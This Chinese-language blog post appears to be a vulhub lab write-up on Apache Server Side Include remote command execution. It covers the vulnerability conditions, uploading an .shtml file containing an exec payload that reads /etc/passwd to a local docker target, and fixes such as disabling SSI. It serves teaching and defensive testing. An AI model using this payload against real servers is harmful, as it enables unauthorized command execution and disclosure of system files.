概述
SSI(Server Side Include)–服务器端包含,是一种类似于ASP的基于服务器的网页制作技术。
默认扩展名是 .stm、.shtm 和 .shtml,实现效果和平时html基本一致,不同的是可能造成命令执行等高风险。
shtml概述
shtml不是html而是一种服务器API,shtml是服务器动态产生的html。两者都是超文本格式,但shtml是一种用于SSI(Servcie Side Include ,服务器端包含指令)技术的文件,一般浏览器访问时会优先扫描依次shtml文件看有没有SSI指令存在,就按服务器设定的规则去解释SSI指令,然后跟html一起被渲染。当shtml或shtm中不包含服务端可执行脚本时作用和html或htm一样。
环境搭建
docker环境搭建
Apache SSI
漏洞描述
SSI(Server Side Include)–服务器端包含,是一种类似于ASP的基于服务器的网页制作技术。
默认扩展名是 .stm、.shtm 和 .shtml,实现效果和平时html基本一致,不同的是可能造成命令执行等高风险。
影响范围
导致外部用户上传恶意脚本造成远程命令执行风险。
漏洞原理
SSI(Server Side Include)–服务器端包含,是一种类似于ASP的基于服务器的网页制作技术。
默认扩展名是 .stm、.shtm 和 .shtml,实现效果和平时html基本一致,不同的是可能造成命令执行等高风险。
漏洞条件
- Web服务器为Apache和IIS(支持SSI功能的服务器)
- 服务器有上传或者用户输入页面且未对相关SSI关键字做过滤
- Web应用程序在返回响应的HTML页面时,嵌入用户输入
- 未对输入的参数值进行输入过滤
漏洞检测
0、环境启动

1、检测
1 | http://192.168.20.120:8080/upload.php |

1 | <?php |
3、上传尝试

4、我们可以尝试上传.shtml后缀文件
1 | <!--#exec cmd=”cat /etc/passwd”--> |

5、上传shtml后缀文件

6、访问URL
1 | http://192.168.20.120:8080/si1ent-1.shtml |

漏洞修复
1、关闭系统上传入口
2、如不适用SSI功能建议关闭
参考
1 | https://github.com/si1ent-le/vulhub/tree/master/httpd/ssi-rce |
赏
使用支付宝打赏
使用微信打赏
若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏
扫描二维码,分享此文章